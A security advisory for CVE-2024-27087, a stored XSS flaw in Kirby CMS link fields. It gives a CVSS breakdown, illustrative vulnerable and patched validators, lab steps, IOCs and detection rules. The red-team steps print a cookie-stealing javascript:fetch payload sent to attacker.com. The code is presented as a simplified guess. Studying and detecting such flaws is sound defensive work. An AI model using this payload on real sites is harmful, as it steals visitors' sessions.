CVE-2024-27087

Executive Summary

CVE-2024-27087 is a stored Cross-Site Scripting (XSS) vulnerability in Kirby CMS versions prior to 4.1.1. The flaw resides in the new "Custom" link type introduced in Kirby 4, which allows the javascript: URL scheme. An attacker with content creation privileges can inject malicious JavaScript code into a link field. When a user or visitor clicks on the crafted link, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is patched in version 4.1.1.

Supply Chain & Package Security

This vulnerability affects the Kirby CMS package. Users should verify their installed version and update to 4.1.1 or later. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (for clicking the link)
• User Interaction: Required (victim must click the link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant if an attacker targets privileged users.

Deep Dive & Mechanics

Kirby 4 introduced a new link field that supports multiple link types (e.g., URL, email, phone). The "Custom" link type is designed for flexibility, allowing arbitrary URL schemes. However, the validation logic does not sanitize or block the javascript: scheme. An attacker can create a link field entry like:

javascript:alert('XSS')

When the CMS renders this link in a page, the browser interprets the javascript: URI and executes the code. The vulnerability is stored in the database, meaning any page containing the malicious link will serve the payload to all visitors.

Vulnerable vs. Patched Code

Vulnerable Code (Kirby < 4.1.1): The link field validation likely uses a regex or allowlist that does not exclude javascript:.

// Simplified vulnerable validation
function validateLink($value) {
    // Only checks for common schemes
    if (preg_match('/^(https?|ftp|mailto):/i', $value)) {
        return true;
    }
    // Custom type allows anything
    return true;
}

Patched Code (Kirby 4.1.1): The patch adds a blocklist for dangerous schemes.

// Patched validation
function validateLink($value) {
    $blocked = ['javascript:', 'data:', 'vbscript:'];
    foreach ($blocked as $scheme) {
        if (stripos($value, $scheme) === 0) {
            return false;
        }
    }
    // Allow other schemes
    return true;
}

Exploitation & Lab Setup

Red Team

1. Setup: Install Kirby CMS version 4.0.0 or earlier.
2. Create a page with a link field.
3. Inject payload: In the link field, enter:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

4. Publish the page and send the link to a victim.
5. Victim clicks the link, and the script executes, exfiltrating cookies.

Blue Team

1. Detection: Monitor for javascript: URIs in link fields via database queries or WAF rules.
2. Prevention: Apply the patch (upgrade to 4.1.1) or implement input validation to block dangerous schemes.
3. Response: If compromised, rotate all session tokens and audit link fields for malicious entries.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from CMS pages.
• Logs: Entries containing javascript: in link field data.
• File: Modified Kirby core files (if patched manually).
• Database: Rows in pages or content tables with javascript: URIs.

Detection Engineering

YARA Rule

rule kirby_cve_2024_27087_xss {
    meta:
        description = "Detect javascript: URI in Kirby CMS link fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27087"
    strings:
        $xss = /javascript\s*:/i
    condition:
        $xss
}

Sigma Rule

title: Kirby CMS Link Field XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects javascript: URIs in Kirby CMS link fields
author: Valters IT
logsource:
    category: application
    product: kirby
detection:
    selection:
        field: link
        value|contains: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27087 Kirby CMS XSS"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Kirby 4.1.1 or later.
2. Workaround: If upgrade is not possible, implement a custom plugin that validates link fields and blocks javascript: and other dangerous schemes.
3. Long-term: Enforce a strict allowlist of URL schemes (e.g., https://, mailto:) for link fields.
4. Monitoring: Enable logging for all link field submissions and review for anomalies.

Valters IT
Securing Digital Frontiers